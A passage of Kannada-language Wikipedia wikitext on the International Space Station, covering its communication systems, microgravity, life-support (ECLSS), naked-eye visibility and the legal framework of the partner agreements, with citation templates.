ಅವಕಾಶ ನೀಡುತ್ತದೆ.<ref name="ISSBook" /><ref name="ISSRG" /><ref name="BoeingComm">{{cite web|url=http://www.boeing.com/defense-space/space/spacestation/systems/communications_tracking.html|publisher=Boeing|accessdate=30 November 2009|title=Communications and Tracking|archiveurl = https://web.archive.org/web/20080611115319/http://www.boeing.com/defense-space/space/spacestation/systems/communications_tracking.html |archivedate = June 11, 2008}}</ref> ಕ್ಯನಡಾರ್ಮ್2, ಯುರೋಪಿನ ''ಕೊಲಂಬಸ್'' ಪ್ರಯೋಗಾಲಯ ಮತ್ತು ಜಪಾನೀಯರ ''ಕಿಬೋ'' ಘಟಕಗಳಿಗಾಗಿ ದತ್ತಾಂಶ ನಾಲೆಗಳನ್ನು S ಬ್ಯಾಂಡ್ ಮತ್ತು K<sub>u</sub> ಬ್ಯಾಂಡ್ ವ್ಯವಸ್ಥೆಗಳ ಮೂಲಕ ಕಳುಹಿಸಲಾಗುತ್ತದೆ. ಆದರೂ ಯುರೋಪಿಯನ್ ಡೇಟಾ ರಿಲೇ ಸ್ಯಾಟಲೈಟ್ ವ್ಯವಸ್ಥೆ ಮತ್ತು ಇಂತಹದ್ದೇ ಜಪಾನೀಯರ ವ್ಯವಸ್ಥೆ ಈ ಪಾತ್ರದಲ್ಲಿ ಅಂತಿಮವಾಗಿ TDRSS ಗೆ ಪೂರಕವಾಗಿವೆ.<ref name="ISSBook" /><ref name="JAXA-MOU" /> ಘಟಕಗಳ ನಡುವಿನ ಸಂವಹನವನ್ನು ಆಂತರಿಕ ಡಿಜಿಟಲ್ ನಿಸ್ತಂತು ವ್ಯವಸ್ಥೆಯ ಮೂಲಕ ನಡೆಸಲಾಗುತ್ತದೆ.<ref>{{cite web|title=Operations Local Area Network (OPS LAN) Interface Control Document|format=PDF|publisher=NASA|url=http://www.spaceref.com/iss/computer/iss.ops.lan.icd.pdf|accessdate=30 November 2009|date=February 2000}}</ref> UHF ರೇಡಿಯೋವನ್ನು ಗಗನಯಾತ್ರಿಗಳು ಮತ್ತು ಅಂತರಿಕ್ಷಯಾತ್ರಿಗಳು EVAs ಅನ್ನು ನಡೆಸುವಾಗ ಬಳಸುತ್ತಾರೆ. ಗಗನಯಾತ್ರೆ ನಿಯಂತ್ರಣ ಕೇಂದ್ರ ಮತ್ತು ISS ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರಿಂದ ಆದೇಶಗಳನ್ನು ಪಡೆದುಕೊಳ್ಳಲು, ನಿಲ್ದಾಣಕ್ಕೆ ಜೋಡಣೆಯಾಗಿರುವ ಅಥವಾ ಆಗದಿರುವ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳು UHF ಅನ್ನು ಬಳಸುತ್ತವೆ. ಉದಾಹರಣೆಗೆ ಸೊಯುಜ್, ಪ್ರೋಗ್ರೆಸ್, HTV-II, ATV ಮತ್ತು ಬಾನಗಾಡಿ (ಬಾನಗಾಡಿಯನ್ನು ಹೊರತು ಪಡಿಸಿ TDRSS ನ ಮೂಲಕ S ಬ್ಯಾಂಡ್ ಮತ್ತು K<sub>u</sub> ಬ್ಯಾಂಡ್ ವ್ಯವಸ್ಥೆಗಳ ಪ್ರಯೋಜನವನ್ನು ಕೂಡ ಪಡೆದುಕೊಳ್ಳಬಹುದಾಗಿದೆ).<ref name="ISSRG" /> ಸ್ವಯಂಚಾಲಿತ ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳನ್ನು ಅವುಗಳ ಒಂದು ಸಂವಹನಾ ಸಾಧನದೊಂದಿಗೆ ಸಿದ್ಧಪಡಿಸಲಾಗಿರುತ್ತದೆ; ATV, ಬಾಹ್ಯಾಕಾಶನೌಕೆಗೆ ಜೋಡಣೆಯಾಗಿರುವ ಲೇಸರ್ ಅನ್ನು ಮತ್ತು ''ಜ್ವೆಜ್ದ'' ಕ್ಕೆ ಜೋಡಣೆಯಾಗಿರುವ ಸಾಧನವನ್ನು ಬಳಸುತ್ತದೆ. ಇದು ನಿಖರವಾಗಿ ನಿಲ್ದಾಣಕ್ಕೆ ಸೇರುವುದರಿಂದ ಇದನ್ನು ಸಾಮೀಪ್ಯ ಸಂವಹನಾ ಸಾಧನವೆಂದು ಕರೆಯಲಾಗುತ್ತದೆ.<ref>{{cite web|url=http://www.spaceref.com/news/viewpr.html?pid=16247|title=ISS/ATV communication system flight on Soyuz|accessdate=30 November 2009|publisher=[[EADS Astrium]]|date=28 February 2005}}</ref><ref>{{cite web|publisher=NASASpaceflight.com|author=Chris Bergin|url=http://www.nasaspaceflight.com/2009/11/sts-129-support-dragon-communication-demo-iss/|date=10 November 2009|accessdate=30 November 2009|title=STS-129 ready to support Dragon communication demo with ISS}}</ref> ===ಸೂಕ್ಷ್ಮ ಗುರುತ್ವ(ಮೈಕ್ರೊಗ್ರಾವಿಟಿ)=== ನಿಲ್ದಾಣದ ಕಕ್ಷಾ ಎತ್ತರದಲ್ಲಿ ಭೂಮಿಯಿಂದ ಗುರುತ್ವವು 88 ಪ್ರತಿಶತದಷ್ಟಿರುತ್ತದೆ. ಇದು ಸಮುದ್ರಮಟ್ಟದ ಗುರುತ್ವಕ್ಕೆ ಸಮನಾಗಿದೆ. ISSನ ನಿರಂತರ ಸ್ವತಂತ್ರ ಪತನವು ಹಗುರವಾಗಿರುವಿಕೆಯ ಸಂವೇದನೆಗೆ ಅವಕಾಶ ನೀಡುತ್ತದೆ. ನಿಲ್ದಾಣದಲ್ಲಿರುವ ಪರಿಸರವು ಹಗುರವಾಗಿರುವಿಕೆಯೂ ಆಗಿರುವುದಿಲ್ಲ, ಅಲ್ಲದೇ ಶೂನ್ಯ- ಗುರುತ್ವವೂ ಆಗಿರುವುದಿಲ್ಲ. ಇದನ್ನು ಸೂಕ್ಷ್ಮ ಗುರುತ್ವವೆಂದು ಹೆಚ್ಚಾಗಿ ವಿವರಿಸಲಾಗುತ್ತದೆ. ಸಂವೇದಿಸಲಾದ ಹಗುರವಾಗಿರುವಿಕೆಯ ಈ ಸ್ಥಿತಿಯು ಪರಿಪೂರ್ಣವಲ್ಲ. ಆದರೂ ಇದು ನಾಲ್ಕು ಪ್ರತ್ಯೇಕ ಪರಿಣಾಮಗಳಿಂದ ಅಡಚಣೆಗೆ ಒಳಗಾಗುತ್ತದೆ:<ref name="gravity">{{cite web|url=http://www.spaceflight.esa.int/users/downloads/userguides/physenv.pdf|title=European Users Guide to Low Gravity Platforms|accessdate=16 May 2006|date=6 December 2005|format=PDF|publisher=European Space Agency|archiveurl=https://web.archive.org/web/20060624182459/http://www.spaceflight.esa.int/users/downloads/userguides/physenv.pdf|archivedate=24 ಜೂನ್ 2006|url-status=live}}</ref> * ಶೇಷಾತ್ಮಕ ವಾಯುಮಂಡಲದಿಂದ ಉಂಟಾಗುವ ಕರ್ಷಣ (ಸೆಳೆತ). * ಯಾಂತ್ರಿಕ ವ್ಯವಸ್ಥೆಗಳು ಮತ್ತು ISS ನೊಳಗಿನ ಸಿಬ್ಬಂದಿಯಿಂದ ಉಂಟಾಗುವ ಕಂಪನಶೀಲ ವೇಗೋತ್ಕರ್ಷ. * ಒಳಗಿರುವ ಜೈರೋಸ್ಕೋಪ್ (ಭ್ರಮಣ ದರ್ಶಕ) ಅಥವಾ ನೂಕುಕಾರಿ ಕಕ್ಷೆಯನ್ನು ಸರಿಪಡಿಸುವುದು. * ISS ನ ನಿಜವಾದ ದ್ರವ್ಯರಾಶಿ ಕೇಂದ್ರದಿಂದ ದೈಶಿಕ ಅಗಲಿಕೆ. ಸರಿಯಾದ ದ್ರವ್ಯರಾಶಿ ಕೇಂದ್ರದಲ್ಲಿರದ ISS ನ ಯಾವುದೇ ಭಾಗ ತನ್ನದೇ ಕಕ್ಷೆಯನ್ನು ಸುತ್ತುತ್ತದೆ. ಪ್ರತಿಯೊಂದು ಅಂಶವು ಭೌತಿಕವಾಗಿ ನಿಲ್ದಾಣದ ಭಾಗವಾಗಿರುವುದರಿಂದ ಇದು ಸಾಧ್ಯವಿಲ್ಲ. ಅಲ್ಲದೇ ಚಾಲಕ ಶಕ್ತಿಯಿಂದಾಗಿ ಪ್ರತಿ ಘಟಕವು ಕಿರು ವೇಗೋತ್ಕರ್ಷಕ್ಕೆ ಒಳಗಾಗುತ್ತದೆ. ಇದು ಘಟಕಗಳನ್ನು ಅವು ಸುತ್ತಿದಂತೆಲ್ಲ ನಿಲ್ದಾಣಕ್ಕೆ ಕೂಡಿಕೊಂಡಿರುವಂತೆ ನೋಡಿಕೊಳ್ಳುತ್ತದೆ.<ref name="gravity" /> ಇದನ್ನು ಟೈಡಲ್ ಫೋರ್ಸ್(ಪ್ರವಾಹೀ ಗುರುತ್ವಾಕರ್ಷಣ ಬಲ) ಎಂದು ಕೂಡ ಕರೆಯಲಾಗುತ್ತದೆ. * ISS ನ ವಿಭಿನ್ನ ಸ್ಥಳಗಳ ನಡುವೆ ಕಕ್ಷೆಯ ಸಮತಲದಲ್ಲಿರುವ ವ್ಯತ್ಯಾಸಗಳು. ===ಜೀವರಕ್ಷಕದ ಆಧಾರ=== {{Main|ISS ECLSS}} [[File:SpaceStationCycle.svg|thumb|480px|The interactions between the components of the ISS Environmental Control and Life Support System (ECLSS)|alt=A ISS ನ ಜೀವ ರಕ್ಷಕ ಪೂರಕ ವ್ಯವಸ್ಥೆಯ ಘಟಕಗಳನ್ನು ತೋರಿಸುತ್ತಿರುವ ಗತಿನಕ್ಷೆ ರೇಖಾಚಿತ್ರ. ಹೆಚ್ಚು ವಿವರಗಳಿಗಾಗಿ ಪಕ್ಕದಲ್ಲಿರುವ ಬರಹವನ್ನು ನೋಡಿ.]] ISS ನ ಎನ್ ವಿರಾನ್ಮೆಂಟಲ್ ಕಂಟ್ರೋಲ್ ಅಂಡ್ ಲೈಫ್ ಸಪೋರ್ಟ್ ಸಿಸ್ಟಮ್ (ECLSS)(ಜೀವ ರಕ್ಷಕ ಆಧಾರ ಪರಿಸರೀಯ ನಿಯಂತ್ರಕ ವ್ಯವಸ್ಥೆ), ವಾಯುಮಂಡಲದ ಒತ್ತಡವನ್ನು, ಬೆಂಕಿಯ ಅಪಾಯವನ್ನು ಪತ್ತೆಹಚ್ಚುವುದು ಮತ್ತು ಶಮನಗೊಳಿಸುವುದು, ಆಮ್ಲಜನಕದ ಮಟ್ಟಗಳು, ತ್ಯಾಜ್ಯ ನಿರ್ವಹಣೆ ಮತ್ತು ಜಲಪೂರೈಕೆಯನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ ಅಥವಾ ಒದಗಿಸುತ್ತದೆ. ECLSS , ISS ನ ಅನಿಲ ಮಂಡಲಕ್ಕೆ ಹೆಚ್ಚಿನ ಮಹತ್ವ ನೀಡಿದರೂ ಕೂಡ, ಈ ವ್ಯವಸ್ಥೆ ತ್ಯಾಜ್ಯ ಮತ್ತು ಸಿಬ್ಬಂದಿ ವರ್ಗದಿಂದ ಬಳಸಲ್ಪಟ್ಟ ನೀರನ್ನು ಶೇಖರಿಸಲ್ಪಟ್ಟು, ಸಂಗ್ರಹಿಸುತ್ತದೆ, ಮತ್ತು ಸಂಸ್ಕರಿಸುತ್ತದೆ. ಈ ಕಾರ್ಯವಿಧಾನ ಸಿಂಕ್(ಬಚ್ಚಲಗುಂಡಿ) ಮತ್ತು, ಶೌಚಾಲಯದಿಂದ ನೀರನ್ನು ಮರುಬಳಸುವಂತೆ ಮಾಡುತ್ತದೆ, ಮತ್ತು ಗಾಳಿಯಿಂದ ಹನೀಭವನವಾಗುವಂತೆ ಮಾಡುತ್ತದೆ. ''ಜ್ವೆಜ್ದ'' ನಲ್ಲಿರುವ ''ಎಲೆಕ್ಟ್ರಾನ್'' ವ್ಯವಸ್ಥೆ ಮತ್ತು ''ಡೆಸ್ಟಿನಿ'' ಯಲ್ಲಿರುವ ಇಂತಹದ್ದೇ ವ್ಯವಸ್ಥೆ ನಿಲ್ದಾಣದೊಳಗೆ ಆಮ್ಲಜನಕವನ್ನು ಉತ್ಪಾದಿಸುತ್ತವೆ.<ref name="OGS">{{cite web|url=http://www.space.com/businesstechnology/060215_techwed_iss_oxygen.html|title=Air Apparent: New Oxygen Systems for the ISS|author=Tariq Malik|publisher=Space.com|date=15 February 2006|accessdate=21 November 2008}}</ref> ಸಿಬ್ಬಂದಿಗೆ ಆಪತ್ತಿನ ಸಮಯದಲ್ಲಿ ಬಳಕೆಗೆ ಬರಲೆಂದು ಆಮ್ಲಜನಕವನ್ನು ಸೀಸೆಯಲ್ಲಿ ಮತ್ತು ಸಾಲಿಡ್ ಫ್ಯೂಯೆಲ್ ಆಕ್ಸಿಜನ್ ಜನರೇಷನ್ (SFOG) ನಂತಹ ಸಣ್ಣ ಡಬ್ಬಿಗಳ ರೂಪದಲ್ಲಿ ಮೀಸಲಿಟ್ಟಿರಲಾಗುತ್ತದೆ.<ref name="breath easy">{{cite web|url=http://science.nasa.gov/headlines/y2000/ast13nov_1.htm|title=Breathing Easy on the Space Station|author=Patrick L. Barry|publisher=NASA|date=13 November 2000|accessdate=21 November 2008|archive-date=21 ಸೆಪ್ಟೆಂಬರ್ 2008|archive-url=https://web.archive.org/web/20080921141609/http://science.nasa.gov/headlines/y2000/ast13nov_1.htm|url-status=dead}}</ref> ''ಜ್ವೆಜ್ದ'' ದಲ್ಲಿರುವ ವೊಜ್ದುಕ್ ವ್ಯವಸ್ಥೆ ಗಾಳಿಯಿಂದ ಇಂಗಾಲದ ಡೈಆಕ್ಸೈಡ್ ಅನ್ನು ತೆಗೆದುಹಾಕುತ್ತದೆ. ಮಾನವನ ಚಯಾಪಚಯ ಕ್ರಿಯೆಯ ಉಪೋತ್ಪನ್ನಗಳು- ಉದಾಹರಣೆಗೆ ಕರುಳಿನಿಂದ ಹೊರಬರುವ ಮೀಥೇನ್ ಮತ್ತು ಬೆವರಿನಿಂದ ಹೊರಬರುವ ಅಮೋನಿಯ ಆಮ್ಲಗಳನ್ನು ಸಕ್ರಿಯ ಇಂಗಾಲದ ಶೋಧಕಗಳ ಮೂಲಕ ತೆಗೆದುಹಾಕಲಾಗುತ್ತದೆ.<ref name="breath easy" /> ISS ನಲ್ಲಿರುವ ವಾಯುಮಂಡಲವು ಭೂಮಿಯ ವಾಯುಮಂಡಲಕ್ಕೆ ಸದೃಶವಾಗಿರುತ್ತದೆ.<ref>{{cite web|url=http://science.howstuffworks.com/space-station2.htm |title=How Space Stations Work|last=Craig Freudenrich|publisher=Howstuffworks|date=20 November 2000|accessdate=23 November 2008}}</ref> ಆಗ ISS ನ ಮೇಲೆ 101.3&nbsp;kPa(ಪ್ಯಾಸ್ಕಲ್) (14.7&nbsp;psi) ರಷ್ಟು ಸಹಜ ವಾಯುವಿನ ಒತ್ತಡವಿರುತ್ತದೆ;<ref>{{cite web |url=http://nasaexplores.com/show2_5_8a.php?id=04-032&gl=58|archiveurl=https://web.archive.org/web/20061114010931/http://www.nasaexplores.com/show2_5_8a.php?id=04-032&gl=58|archivedate=14 November 2006|work=NASAexplores|title=5–8: The Air Up There|publisher=NASA|accessdate=31 October 2008}}</ref> ಭೂಮಿಯ ಸಮುದ್ರ ಮಟ್ಟದಷ್ಟಕ್ಕೇ ಇದು ಸಮನಾಗಿದೆ. ಭೂಮಿಯ ವಾಯುಮಂಡಲವು ಸಿಬ್ಬಂದಿಗೆ ಅನೇಕ ಅನುಕೂಲತೆಗಳನ್ನು ನೀಡುತ್ತದೆ. ಅಲ್ಲದೇ ಇದು ಪರ್ಯಾಯವಾಗಿರುವ ಪರಿಶುದ್ಧ ಆಮ್ಲಜನಕ ಹೊಂದಿರುವ ವಾಯುಮಂಡಲಕ್ಕಿಂತ ಅತ್ಯಂತ ಸುರಕ್ಷಿತವಾಗಿದೆ. ಏಕೆಂದರೆ ಇಲ್ಲಿ ಬೆಂಕಿ ಹತ್ತಿಕೊಳ್ಳಬಹುದಾದ ಅಪಾಯ ಹೆಚ್ಚಿರುತ್ತದೆ. ಉದಾಹರಣೆಗೆ ಅಪೋಲೋ 1ರಲ್ಲಿನ ಸಿಬ್ಬಂದಿಯ ಸಾವುಗಳಿಗೆ ಕಾರಣವಾದ ಅಪಾಯಕಾರಿ ಬೆಂಕಿ.<ref>{{cite book|author=Clinton Anderson|coauthors=et al.|publisher=US Government Printing Office|title=Report of the Committee on Aeronautical and Space Sciences, United States Senate—Apollo 204 Accident|date=30 January 1968|location=Washington, DC|page=8|url=http://klabs.org/richcontent/Reports/Failure_Reports/as-204/senate_956/as204_senate_956.pdf|access-date=7 ಜನವರಿ 2011|archive-date=5 ಡಿಸೆಂಬರ್ 2010|archive-url=https://web.archive.org/web/20101205195536/http://klabs.org/richcontent/Reports/Failure_Reports/as-204/senate_956/as204_senate_956.pdf|url-status=dead}}</ref> ===ವೀಕ್ಷಣೆಗಳು=== [[File:ISS 2008-01-10.jpg|thumb|alt=A streak of light in a starry sky over some trees.|ಕಾಲಒಡ್ಡಣೆಯಲ್ಲಿ 2008 ರ ಜನವರಿ ತಿಂಗಳಿನ ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ನೋಟ]] ಅದಲ್ಲದೇ ISS ನ (ಸುಮಾರು ಅಮೇರಿಕದ ಫುಟ್ ಬಾಲ್ ಮೈದಾನದಷ್ಟಿದೆ.)ಗಾತ್ರದಿಂದಾಗಿ ಮತ್ತು ಇದರ ಸೌರ ಫಲಕಗಳು ನೀಡುವ ಅತ್ಯಂತ ದೊಡ್ಡ ಪ್ರತಿಫಲಿತ ಪ್ರದೇಶದಿಂದಾಗಿ, ಒಂದು ವೇಳೆ ವೀಕ್ಷಕನು ಸೂಕ್ತ ಸಮಯದಲ್ಲಿ, ಸೂಕ್ತ ಸ್ಥಳದಲ್ಲಿದ್ದರೆ, ನಿಲ್ದಾಣ ವನ್ನು ಭೂಮಿಯಿಂದ ಬರಿಕಣ್ಣಿನಲ್ಲಿ ವೀಕ್ಷಿಸಬಹುದಾಗಿದೆ. ಅನೇಕ ಸಂದರ್ಭಗಳಲ್ಲಿ, ನಿಲ್ದಾಣವು ಬರಿಕಣ್ಣಿನಿಂದ ನೋಡಬಹುದಾದ ಆಕಾಶದಲ್ಲಿರುವ ವಸ್ತುವಾಗಿದೆ. ಆದರೂ ಇದನ್ನು ಕೇವಲ ಎರಡರಿಂದ ಐದುನಿಮಿಷಗಳ ಕಾಲಾವಧಿಯವರೆಗೆ ಮಾತ್ರ ನೋಡಬಹುದಾಗಿದೆ.<ref name="see">{{cite web|url=http://spaceflight.nasa.gov/realdata/sightings/index.html|title=International Space Station Sighting Opportunities|accessdate=28 January 2009|publisher=NASA|date=2 July 2008|author=NASA|archive-date=21 ಡಿಸೆಂಬರ್ 2015|archive-url=https://web.archive.org/web/20151221111201/http://spaceflight.nasa.gov/realdata/sightings/index.html|url-status=dead}}</ref> ಕೆಳಕಂಡ ಸ್ಥಿತಿಯಲ್ಲಿದ್ದಾಗ (ಆಕಾಶವು ತಿಳಿಯಾಗಿದ್ದಾಗ), ನಿಲ್ದಾಣವು ಆಕಾಶದಲ್ಲಿ ಅತ್ಯಂತ ಪ್ರಕಾಶಮಾನವಾದ ವಸ್ತುವಾಗಿ ಕಂಡುಬರುತ್ತದೆ: ನಿಲ್ದಾಣವು ವೀಕ್ಷಕನ ಕ್ಷಿತಿಜದ ಮೇಲಿರಬೇಕು. ಅಲ್ಲದೇ ಇದು ವೀಕ್ಷಣಾ ಸ್ಥಳದ ಸುಮಾರು {{convert|2000|km|mi}} ರಷ್ಟರೊಳಗೆ ಇರಬೇಕು(ಹತ್ತಿರದಿಂದ ಗೋಚರತೆ ಉತ್ತಮವಾಗಿರುತ್ತದೆ). ನಕ್ಷತ್ರಗಳು ಕಾಣಿಸಲು ವೀಕ್ಷಕನ ಸ್ಥಳದಲ್ಲಿ ಸಾಕಷ್ಟು ಕತ್ತಲಿರಬೇಕು. ಅಲ್ಲದೇ ನಿಲ್ದಾಣವು ಭೂಮಿಯ ನೆರಳಿಗಿಂತ ಸೂರ್ಯನ ಬೆಳಕಿನಲ್ಲಿರಬೇಕು. ಅತ್ಯುತ್ತಮ ವೀಕ್ಷಣಾ ಅವಕಾಶದ ಸಂದರ್ಭದಲ್ಲಿ ಮೂರನೆಯ ಸ್ಥಿತಿ ಪ್ರಾರಂಭವಾಗಲು ಅಥವಾ ಮುಗಿಯಲು ಇದು ಸಹಜವಾಗಿದೆ. ಸಂಜೆಯ ಹೊತ್ತಿನಲ್ಲಿ ನಿಲ್ದಾಣವು ಪಶ್ಚಿಮದಿಂದ ಪೂರ್ವಕ್ಕೆ ಹೋಗುವಾಗ ಮುಸುಕಿನಿಂದ ಮುಂದೆ ಸರಿದಂತೆ, ಇದು ಇದ್ದಕಿದ್ದಂತೆ ಮಬ್ಬಾಗುತ್ತದೆ ಮತ್ತು ಅದೃಶ್ಯವಾಗುತ್ತದೆ. ವ್ಯತಿರಿಕ್ತ ಪರಿಸ್ಥಿತಿಯ ಸಂದರ್ಭದಲ್ಲಿ ಇದು ಬೆಳಕಿನ ಕಡೆ ಸರಿದಂತೆಲ್ಲ ಇದ್ದಕ್ಕಿದ್ದಂತೆ ಆಕಾಶದಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ.<ref name="see" /><ref name="ESAsee">{{cite web|url=http://www.esa.int/esaHS/ESA0I6KE43D_iss_0.html|title=See the ISS from your home town|accessdate=13 November 2007|publisher=European Space Agency|date=7 January 2009|author=European Space Agency}}</ref> ಸರಿಸುಮಾರು 5.9 ಪರಿಮಾಣದಲ್ಲಿ ನಿಲ್ದಾಣದ ಗರಿಷ್ಠ ಪ್ರತಿಫಲಿತ ಪ್ರಕಾಶಮಾನತೆಯೊಂದಿಗೆ(ಗರಿಷ್ಠ 3.8 ರೊಂದಿಗೆ), ಹಗಲ ಬೆಳಕಿನಲ್ಲಿ ಯಾವುದೇ ಕಣ್ಣಿನ ಸಾಧನವನ್ನು ಬಳಸದೇ ಇದನ್ನು ಬರಿಗಣ್ಣಿನಿಂದ ನೋಡುವಷ್ಟು ಪ್ರಕಾಶಮಾನವಾಗಿರುತ್ತದೆ.<ref>{{cite web|url=http://www.heavens-above.com/satinfo.aspx?satid=25544&lat=0&lng=0&loc=Unspecified&alt=0&tz=CET|title=ISS – Information|publisher=Heavens-Above.com|accessdate=8 July 2010}}</ref><ref>{{cite journal|author=Harold F. Weaver|title=The Visibility of Stars Without Optical Aid|journal=Publications of the Astronomical Society of the Pacific|volume=59|issue=350|year=1947}}</ref><ref name="daytime visibility">{{cite web|url=http://spaceweather.com/archive.php?view=1&day=05&month=06&year=2009|title=ISS visible during the daytime|accessdate=5 June 2009|publisher=Spaceweather.com|date=5 June 2009|author=Spaceweather.com}}</ref> ==ರಾಜಕೀಯತೆ,ಬಳಕೆ ಮತ್ತು ಬಂಡವಾಳಹೂಡಿಕೆ == {{Main|International Space Station program|l1=International Space Station programme}} ===ಕಾನೂನು ಅಂಶಗಳು=== [[File:ISS Main Contributors.svg|thumb|360px|right|[280][281]|alt=A ಬೆಲ್ಜಿಯಂ, ಡೆನ್ಮಾರ್ಕ್, ಫ್ರಾನ್ಸ್, ಜರ್ಮನಿ, ಇಟಲಿ, ನೆದರ್ಲೆಂಡ್, ನಾರ್ವೆ, ಸ್ಪ್ಯೇನ್, ಸ್ವಿಡನ್ ಮತ್ತು ಸ್ವಿಜರ್ಲೆಂಡ್ ಅನ್ನು ಕೆಂಪು ಬಣ್ಣದಲ್ಲಿ ಹಾಗು ಬ್ರೆಜಿಲ್ ನನ್ನು ಪಿಂಕ್ (ಗುಲಾಬಿ) ಬಣ್ಣದಲ್ಲಿ ಗುರುತಿಸಲಾಗಿರುವ ವಿಶ್ವದ ಭೂಪಟ.ಹೆಚ್ಚಿನ ವಿವರಗಳಿಗಾಗಿ ಪಕ್ಕದಲ್ಲಿರುವ ಪಠ್ಯ ನೋಡಿ.]] ಇಲ್ಲಿ ISS ಎಂಬುದು ಅನೇಕ ಬಾಹ್ಯಾಕಾಶ ಪ್ರತಿನಿಧಿಗಳ ಜಂಟಿ ಯೋಜನೆಯಾಗಿದೆ: US ನ ನ್ಯಾಷನಲ್ ಏರೋನಾಟಿಕ್ಸ್ ಅಂಡ್ ಸ್ಪೇಸ್ ಅಡ್ಮಿನಿಸ್ಟ್ರೇಷನ್ (NASA), ರಷ್ಯನ್ ಫೆಡರಲ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (RKA), ಜಪಾನ್ ಏರೋಸ್ಪೇಸ್ ಎಕ್ಸ್ ಪ್ಲೋರೇಷನ್ ಏಜೆನ್ಸಿ (JAXA), ಕೆನಡಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (CSA) ಮತ್ತು ಯುರೋಪಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (ESA).<ref name="PartStates">{{cite web|url=http://www.esa.int/esaHS/partstates.html|title=Human Spaceflight and Exploration—European Participating States|accessdate=17 January 2009|publisher=European Space Agency (ESA)|year=2009}}</ref> ಇದು ವಿವಿಧೋದ್ದೇಶ ಯೋಜನೆಯಾಗಿರುವುದರಿಂದ ಕಾನೂನಿನ ಮತ್ತು ಹಣಕಾಸಿನ ಅಂಶಗಳು ಸಂಕೀರ್ಣವಾಗಿವೆ. ಇದಕ್ಕೆ ಸಂಬಂಧಪಟ್ಟ ವಿಷಯಗಳು ಕೆಳಕಂಡಂತಿವೆ: ಘಟಕಗಳ ಮಾಲೀಕತ್ವ, ಸಹಯೋಗಿ ರಾಷ್ಟ್ರಗಳಿಂದ ನಿಲ್ದಾಣದ ಬಳಕೆ ಹಾಗು ನಿಲ್ದಾಣದ ಮರು ಪೂರೈಕೆಗಾಗಿರುವ ಹೊಣೆಗಾರಿಕೆಗಳು. ನಿಯಮ-ನಿರ್ಬಂಧ ಮತ್ತು ಹಕ್ಕುಗಳನ್ನು ಸ್ಪೇಸ್ ಸ್ಟೇಷನ್ ಇಂಟರ್ ಗವರ್ನಮೆಂಟಲ್ ಅಗ್ರಿಮೆಂಟ್ (IGA)(ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಅಂತರಸರ್ಕಾರ ಒಪ್ಪಂದ) ದೃಢಪಡಿಸುತ್ತದೆ. 1998 ರ ಜನವರಿ 28 ರಂದು ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಯೋಜನೆಯಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿರುವ ಪ್ರಮುಖ ರಾಷ್ಟ್ರಗಳು ಈ ಅಂತರರಾಷ್ಟ್ರೀಯ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿಹಾಕಿದವು; ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ, ರಷ್ಯನ್ ಒಕ್ಕೂಟ, ಜಪಾನ್, ಕೆನಡಾ ಮತ್ತು ಯುರೋಪಿನ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿಯ(ಬಾಹ್ಯಾಕಾಶ ಪ್ರತಿನಿಧಿ)ಯ ಹನ್ನೊಂದು ಸದಸ್ಯ ರಾಷ್ಟ್ರಗಳು (ಬೆಲ್ಜಿಯಂ, ಡೆನ್ಮಾರ್ಕ್, ಫ್ರಾನ್ಸ್, ಜರ್ಮನಿ, ಇಟಲಿ, ನೆದರಲ್ಯಾಂಡ್ , ನಾರ್ವೆ, ಸ್ಪ್ಯೇನ್, ಸ್ವಿಡನ್, ಸ್ವಿಜರ್ಲೆಂಡ್, ಮತ್ತು ಇಂಗ್ಲೆಂಡ್).<ref name="ESA-IGA">{{cite web|url=http://www.spaceflight.esa.int/users/index.cfm?act=default.page&level=11&page=1980|title=ISS Intergovernmental Agreement|publisher=European Space Agency (ESA)|accessdate=19 April 2009|date=19 April 2009}}</ref> ಅನಂತರ NASA (ನಾಸಾ) ಮತ್ತು ESA, CSA, RKA ಮತ್ತು JAXA ಗಳ ನಡುವೆ ಮೆಮೊರಂಡ್ ಆಫ್ ಅಂಡರ್ ಸ್ಟ್ಯಾಂಡಿಂಗ್ (MOU)(ಪರಸ್ಪರ ತಿಳಿವಳಿಕೆಯಿಂದ ಸಹಕಾರ ಒಪ್ಪಿಗೆ) ಎಂಬ ಎರಡನೆಯ ಒಪ್ಪಂದವಾಯಿತು. ಮುಂದೆ ಈ ಒಪ್ಪಂದಗಳನ್ನು ಕೆಳಕಂಡಂತೆ ವಿಭಾಗಿಸಲಾಯಿತು:ರಾಷ್ಟ್ರಗಳ ನಡುವಿನ ಒಪ್ಪಂದದ ಹೊಣೆಗಾರಿಕೆ ಮತ್ತು ವ್ಯಾಪಾರದಲ್ಲಿ ತೊಡಗಿರುವ ಪಾಲುದಾರನ ಹಕ್ಕು ಮತ್ತು ಹೊಣೆಗಾರಿಕೆ.<ref name="ESA-IGA" /> ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ನ ಬಳಕೆಯನ್ನು ಕೂಡ ಈ ಮಟ್ಟದಲ್ಲೇ ತೀರ್ಮಾನಿಸಲಾಯಿತು.<ref name="RSA-MOU">{{cite web|url=https://www.nasa.gov/mission_pages/station/structure/elements/nasa_rsa.html|title=Memorandum of Understanding Between the National Aeronautics and Space Administration of the United States of America and the Russian Space Agency Concerning Cooperation on the Civil International Space Station|publisher=NASA|accessdate=19 April 2009|date=29 January 1998}}</ref> ಪ್ರಮುಖವಾದ ಈ ಅಂತರಸರ್ಕಾರಗಳ ಪರಸ್ಪರ ತಿಳಿವಳಿಕೆ ಒಪ್ಪಂದಗಳ ಜೊತೆಯಲ್ಲಿ ಬ್ರೆಜಿಲ್, 